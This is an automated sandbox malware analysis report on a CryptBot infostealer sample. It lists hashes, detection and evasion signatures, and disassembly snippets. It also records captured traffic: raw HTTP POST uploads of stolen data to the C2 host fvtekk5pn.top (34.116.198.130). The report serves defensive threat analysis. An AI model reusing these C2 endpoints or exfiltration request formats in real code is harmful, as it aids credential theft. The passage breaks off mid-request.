Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1561550
MD5: 15a46db0313993e635e8a7f4ae91f44a
SHA1: 93f7e0d18cda291de56f04e2ad35fff64446eb62
SHA256: aa421056287f6114a5932fc6fe92734a06fb0760567b1086774d25881b6bf4a1
Tags: exeuser-Bitsight
Infos:

Detection

Clipboard Hijacker, Cryptbot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Attempt to bypass Chrome Application-Bound Encryption
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Clipboard Hijacker
Yara detected Cryptbot
AI detected suspicious sample
Drops large PE files
Found evasive API chain (may stop execution after checking mutex)
Found stalling execution ending in API Sleep call
Hides threads from debuggers
Machine Learning detection for sample
PE file contains section with special chars
Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Uses schtasks.exe or at.exe to add and modify task schedules
Abnormal high CPU Usage
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for read data from the clipboard
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Browser Started with Remote Debugging
Sigma detected: Suspicious Schtasks From Env Var Folder
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Name Description Attribution Blogpost URLs Link
CryptBot A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\service123.exe ReversingLabs: Detection: 45%
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 36%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_001615B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 7_2_001615B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1514B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 7_2_6C1514B0
Source: file.exe, 00000000.00000003.2055881018.0000000007102000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_392ab207-a
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\doomed\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\entries\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\ Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea ecx, dword ptr [esp+04h] 7_2_001681E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C1CAEC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C1CAF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C1CAF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 7_2_6C170860
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 7_2_6C17A970
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 7_2_6C17A9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 7_2_6C17A9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6C22F960h 7_2_6C16EB10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C174453
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebx 7_2_6C1F84A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 7_2_6C17C510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 7_2_6C17A580
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 7_2_6C17A5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 7_2_6C17A5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 7_2_6C17E6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 7_2_6C17E6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, ecx 7_2_6C1F0730
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 7_2_6C170740
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C1CC040
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C1CC1A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+04h] 7_2_6C1AA1E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 7_2_6C170260
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [6C22D014h] 7_2_6C224360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C1CBD10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 7_2_6C1C7D10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 7_2_6C1C3840
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+04h] 7_2_6C17D974
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 7_2_6C1A9B60
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 7_2_6C18BBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 7_2_6C18BBD7
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C1CB4D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 7_2_6C17D504
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 7_2_6C1C9600
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+0Ch] 7_2_6C17D674
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6C22DFF4h 7_2_6C1C3690
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+08h] 7_2_6C17D7F4
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 7_2_6C1F3140
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C16B1D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C17D2A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebx 7_2_6C1E7350
Source: chrome.exe Memory has grown: Private usage: 1MB later: 28MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:49727 -> 34.116.198.130:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:49733 -> 34.116.198.130:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:49758 -> 34.116.198.130:80
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: */*
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: */*Content-Length: 465Content-Type: multipart/form-data; boundary=------------------------dQPxC5d8rFBHZJnlSckhAKData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 51 50 78 43 35 64 38 72 46 42 48 5a 4a 6e 6c 53 63 6b 68 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4c 61 77 65 6d 61 78 69 6d 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 88 87 25 d7 ae 9e a2 20 81 23 93 d5 c9 bd c8 db 26 8d 12 02 ae 48 58 9d 28 19 15 cf e2 9f 2d 3f aa c2 d6 d8 a2 75 54 7c 4b 4f f6 d4 ef 42 3f 71 2a f5 41 49 27 55 de 5d 17 15 bf 06 dd 6d 7f ee c5 b0 7a 6a 8e 90 01 14 d6 5d ea 80 3e 59 64 d1 f3 f2 16 9a dc e3 30 39 8c a3 a3 1b b0 a4 a5 82 b8 96 6e 8a 91 2c 49 ef a1 52 d9 a1 3b 00 2b 11 b5 ce c1 3d fd 1a fd ba 34 0b 0b 01 d6 e8 5e b2 3d 0c 36 c1 af 12 53 ba cf e0 79 90 69 03 db c4 8d a6 69 c9 a6 6e ec f0 86 2e 51 12 ca 5d 4c 2a 68 87 ec f0 1c 0c 96 a1 0d 57 c5 30 f1 aa 32 e5 00 40 01 c2 d3 79 27 7d 6c d8 11 1d 65 e1 8d 7c b3 65 07 3c 8b 80 7f 1d 34 ed 01 96 09 e2 89 36 7c 7f d2 60 37 01 13 e4 53 ae cd 67 14 34 4e f1 b2 02 72 4b 1c c6 72 e1 b3 60 6b f8 78 5d 08 60 8c a9 fc b0 a8 06 5d e4 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 51 50 78 43 35 64 38 72 46 42 48 5a 4a 6e 6c 53 63 6b 68 41 4b 2d 2d 0d 0a Data Ascii: --------------------------dQPxC5d8rFBHZJnlSckhAKContent-Disposition: form-data; name="file"; filename="Lawemaxim.bin"Content-Type: application/octet-stream% #&HX(-?uT|KOB?q*AI'U]mzj]>Yd09n,IR;+=4^=6Syiin.Q]L*hW02@y'}le|e<46|`7Sg4NrKr`kx]`]--------------------------dQPxC5d8rFBHZJnlSckhAK--
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: */*Content-Length: 75873Content-Type: multipart/form-data; boundary=------------------------fnB7MBmpO7Y98ZNxkcXgyMData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 66 6e 42 37 4d 42 6d 70 4f 37 59 39 38 5a 4e 78 6b 63 58 67 79 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4a 61 71 61 72 65 79 75 6e 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a b0 38 ad 69 f7 a0 a3 5b ad fb 27 04 37 91 60 30 fe 47 a7 a0 da f6 8a 75 1e 7c 8c 45 33 77 32 de a5 09 5a ea dc 37 37 85 84 62 0e a5 49 b1 7f a0 16 24 b3 99 c8 67 fd 6c b2 3a 1d 21 4b 0f 1c cc 46 31 5a 59 fa b3 2e 75 ce 10 87 e3 98 08 bd 79 7e b5 79 92 90 38 ac 60 c3 87 5d a1 de 74 8d 4c a5 0c 67 7d ca cf b7 72 99 a3 9a 09 7d a0 57 6b 12 d7 0c 1a 24 94 c6 70 82 2f b3 0c b2 79 05 33 f0 10 17 00 0b 0f 93 8e 4f 29 39 a3 b6 22 00 3f f1 05 f7 d8 ae 5b c6 6b 3b 31 59 ce 39 ef c7 07 5c 7a 3d 84 9b 8c df 5d 24 34 e3 78 a2 63 34 8e df 85 92 67 1c 1a eb 8c 55 dc eb c7 c2 45 73 2f 7d ee b0 e9 f0 10 a6 b7 8c 1a 71 7b 02 a8 1d 17 08 87 76 a7 16 5c bb be bc 41 13 2f d2 71 78 65 f1 dd 38 0a 97 b7 f4 ac b5 d3 c6 ba 5d 98 f5 14 a6 56 c1 e0 45 dc af c4 8d 29 f3 bc fd 2a b9 33 c9 2b 9d cd d9 b1 94 22 1a ea 66 62 a4 56 c7 c0 e9 d6 75 2a 87 3e af 51 89 7a 57 71 3a ef 51 f7 06 57 3c e9 8f a5 45 fe 1c bb 6b 4c a9 0a e8 9b 17 74 17 f2 8f b9 7d f1 74 d2 1b fa 60 e7 cb c1 d6 98 f9 ed 21 8d 9f 4b bb 9a 15 e2 78 fa b7 f3 fc ae df ae cc a2 97 ad 8e e8 c0 12 f1 91 d9 e5 c6 84 2e b6 2f b6 c0 0e 5f 1b c6 05 9d db 08 b1 6f 98 f5 24 d4 4e 42 e5 c5 b0 ef ed 0a 42 1f 6b fc b6 f4 d5 59 b7 5b e7 74 4f 8d e1 cf 79 95 0c e2 90 3e 2f c0 50 91 80 ac 22 a4 7f 44 4d ce 47 86 6c a4 c5 67 83 24 20 1a c1 fa 61 9b fa fa 7b ab 7d 76 98 75 83 9d bd a4 d6 79 e8 b3 6b ca 90 fc 48 61 8b 90 d5 90 1c 5a bb 14 79 30 f5 e5 d8 d1 c3 50 fa 8d 16 5d df c2 7f a7 18 1f d4 49 c7 cf 34 9a ae f2 22 43 ef 32 f1 75 45 2c ef 2e 3d fc cc aa 84 a8 a4 fa fc 8d 07 f4 4a 25 e2 4a 96 35 c8 e7 a2 eb a7 4f aa a6 c9 aa d9 cc c0 7e 5c 32 9a b9 9a 17 e9 33 85 fb c7 b3 a7 7b 03 18 82 2c d7 b8 cb ec 46 b7 90 17 8d dc af 23 d3 30 80 27 25 48 88 c5 d7 68 2b 45 36 19 f4 7f 3f 41 e2 44 67 af 96 78 34 bc 69 7d b1 34 2c 77 4a ec 09 4b cb 9c 3f 2a 93 a1 a3 78 e1 1d 76 de 54 b8 44 bd b2 66 f7 72 b7 ef c1 6e c1 c3 c4 bc 44 e1 2b 5d b2 e4 05 20 d7 d2 3c aa 61 dd 9c 8f c0 65 a1 31 0f c0 37 89 c7 67 19 fd 6d 6d 97 fb a6 71 6f 44 5c 4b 6a 90 2a e6 23 a7 dd 7e ef 02 8c 38 f7 f2 70 77 10 21 4f cd 7f 34 14 70 e4 61 44 01 9c 99 33 d6 55 82 e8 01 b8 e9 a0 8d b1 c6 a1 d5 c9 ef 2c 54 e2 cc 75 a9 b1 5e cc c1 ed 4d 8d 5b a3 21 1f 74 f3 22 ed 54 bd 37 8d ec 06 a9 0f 33 3e c0 a9 ef b2 61 77 4f cd ab 0f cf e3 91 da 55 f7 8c 7d b4 4b 32 21 7a a5 50 66 58 d6 67 f1 4a 28 d2 6f 48 17 a0 a9
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: */*Content-Length: 30335Content-Type: multipart/form-data; boundary=------------------------X2syGc09V2sW3Yw7CgWIOFData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 58 32 73 79 47 63 30 39 56 32 73 57 33 59 77 37 43 67 57 49 4f 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 75 68 69 6a 75 71 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 8a e9 f7 e6 44 c0 5e f3 94 29 7b bf 4a bc c3 f8 b5 df c8 a7 97 24 0f 73 35 0b 5f 04 ac 50 0f 87 7a e2 5d f3 71 c9 c6 75 42 f9 33 4e 80 36 10 d0 66 5a 93 40 3f 62 04 df 39 f9 52 7b a7 47 89 02 2c 41 0a c8 7b e6 99 7d a0 86 ed 91 84 48 f2 1c c1 66 27 ca 42 83 b5 bc 38 16 20 63 7d 95 96 f0 cd e2 11 df aa cb 15 f3 93 81 9e 55 d4 be 5e 61 2c 32 08 84 95 20 4f 83 62 b6 2d 20 5e da 6d 0f 5b 26 a2 b8 60 f1 55 4c 10 ef 71 8b 9a 50 ef eb df 33 0f ef 14 1f a6 f8 12 41 f8 e4 be 2f 0d 59 2a d0 73 7a 86 42 f9 b2 9f c3 29 4a 6a a8 6d a7 01 8c 1c 84 a3 e3 93 6f 1f 28 3a c6 ba af 30 8e 52 8c f0 af 64 1f 4b ef ff e9 19 5a 67 f6 dc 76 dc dc 4e b5 5d 49 90 b0 98 8f fd 41 a2 58 6f 67 a6 bb 9d 43 8a 65 b7 79 16 f0 d0 1a a8 b3 ae 05 39 32 7a 49 4e 35 d8 4b 76 aa 10 ae 57 94 88 09 1c ad 60 d0 29 df eb 8b af 34 c5 0a be d5 ad 35 05 88 86 fa d6 0f 00 ab e6 fe ad 93 d7 cf c8 36 7f a8 4b 06 66 56 45 e3 7f d3 b8 5c 20 56 9d ab f2 67 83 99 c2 3c 2c ea ed 59 f7 8e dc e6 32 4c 8e a3 3c 7c c5 d3 c3 ff 5c 9c 84 d4 9f 05 4f 1b b7 4d 4f 26 0a 82 51 dc f6 fa 44 21 69 50 12 91 2a ee e2 81 fb ab 5e 42 66 99 45 d4 87 e5 6b f5 47 a3 ed 0b 1f 35 8a 2b c3 24 8f 0d ee e0 47 aa b7 b7 cb 70 f7 88 ea 56 aa f9 07 0f 77 90 66 93 41 9d 31 a4 28 67 98 e0 3c 5f 05 e9 23 9d 63 a7 99 bb a7 20 5d 89 88 1a ea 85 c1 f2 c4 a1 4c 03 58 95 1d 7a 3e 90 4f 2e d0 d3 a6 25 0a 80 b0 b1 39 d6 89 78 01 fe d4 5f af a4 15 32 a7 8b 06 ee 68 4e 6f e1 4f db 8b 51 a1 4f 22 f5 7f 72 d1 f3 c1 20 e2 a4 94 61 5b a5 38 d3 32 c0 20 55 5d 81 b2 30 43 0c fe 25 cb f8 34 94 d8 0f f9 8f 8d c7 b8 56 5e 66 fa b8 1e 56 5a 2f 9c bc 7b 19 6e 2f ce f2 69 dd 57 9c ed 6b a4 e7 4d 14 c0 1b 24 e1 2f 03 c7 97 b5 3e b8 54 d3 69 af b2 2a e9 dd 0a 99 ef c0 1e 5e ca 49 50 77 7e 78 38 e0 0b ab 62 75 ff 07 15 27 4a 84 5a 3e 3c ad 43 ed 17 cd b5 11 ed b4 8b 5e 98 fb 34 ab 42 90 50 aa f2 93 fc 90 c2 6f d9 b4 61 71 e6 94 02 1d 3c 8c ba b3 06 42 d1 55 d4 c4 6f 35 22 05 c7 92 4a b1 84 ab a7 3d e1 92 1c c9 97 42 41 02 bb 46 fa 72 14 06 3b 80 75 1f d8 29 69 d5 b0 66 58 e6 e2 f9 01 be 66 73 b6 b5 12 fe b0 27 f2 ab a4 0b 37 31 7d 5d b8 84 da 8d eb d2 85 c9 2f c1 50 91 b5 9c a9 50 7a 29 6f 03 17 98 6f 04 22 40 f6 11 3b 0a 65 5f 61 f0 cf f5 4c 06 78 7e 50 11 8f c7 a1 a5 b8 4c 18 32 1e 6b ad ce 60 0f c5 dc 77 34 73 41 a0 96 66 95 26 30 8a a2 86 bc ed 0f 90 1a 1f 8d a1 bf 50 fc fd 36 f3 c6 f3 9c b4
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View IP Address: 34.116.198.130 34.116.198.130
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: */*
Source: chrome.exe, 00000003.00000003.2384354803.0000018002758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2397954378.0000018002718000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2396578668.00000180022D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2384354803.0000018002758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2400707499.0000018002DB0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2400888606.0000018002E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2396578668.00000180022D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2384354803.0000018002758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2397954378.0000018002718000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2400888606.0000018002E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/< equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2401659477.0000018002FE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2400888606.0000018002E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2400888606.0000018002E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/?feature=ytca`T equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2396578668.00000180022D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2384354803.0000018002758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2397954378.0000018002718000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2400888606.0000018002E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/m equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2400707499.0000018002DB0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2400707499.0000018002DB0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmlor equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2396578668.00000180022D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: s://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2399341330.0000018002A0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: global traffic DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic DNS traffic detected: DNS query: fvtekk5pn.top
Source: unknown HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: */*Content-Length: 465Content-Type: multipart/form-data; boundary=------------------------dQPxC5d8rFBHZJnlSckhAKData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 51 50 78 43 35 64 38 72 46 42 48 5a 4a 6e 6c 53 63 6b 68 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4c 61 77 65 6d 61 78 69 6d 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 88 87 25 d7 ae 9e a2 20 81 23 93 d5 c9 bd c8 db 26 8d 12 02 ae 48 58 9d 28 19 15 cf e2 9f 2d 3f aa c2 d6 d8 a2 75 54 7c 4b 4f f6 d4 ef 42 3f 71 2a f5 41 49 27 55 de 5d 17 15 bf 06 dd 6d 7f ee c5 b0 7a 6a 8e 90 01 14 d6 5d ea 80 3e 59 64 d1 f3 f2 16 9a dc e3 30 39 8c a3 a3 1b b0 a4 a5 82 b8 96 6e 8a 91 2c 49 ef a1 52 d9 a1 3b 00 2b 11 b5 ce c1 3d fd 1a fd ba 34 0b 0b 01 d6 e8 5e b2 3d 0c 36 c1 af 12 53 ba cf e0 79 90 69 03 db c4 8d a6 69 c9 a6 6e ec f0 86 2e 51 12 ca 5d 4c 2a 68 87 ec f0 1c 0c 96 a1 0d 57 c5 30 f1 aa 32 e5 00 40 01 c2 d3 79 27 7d 6c d8 11 1d 65 e1 8d 7c b3 65 07 3c 8b 80 7f 1d 34 ed 01 96 09 e2 89 36 7c 7f d2 60 37 01 13 e4 53 ae cd 67 14 34 4e f1 b2 02 72 4b 1c c6 72 e1 b3 60 6b f8 78 5d 08 60 8c a9 fc b0 a8 06 5d e4 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 51 50 78 43 35 64 38 72 46 42 48 5a 4a 6e 6c 53 63 6b 68 41 4b 2d 2d 0d 0a Data Ascii: --------------------------dQPxC5d8rFBHZJnlSckhAKContent-Disposition: form-data; name="file"; 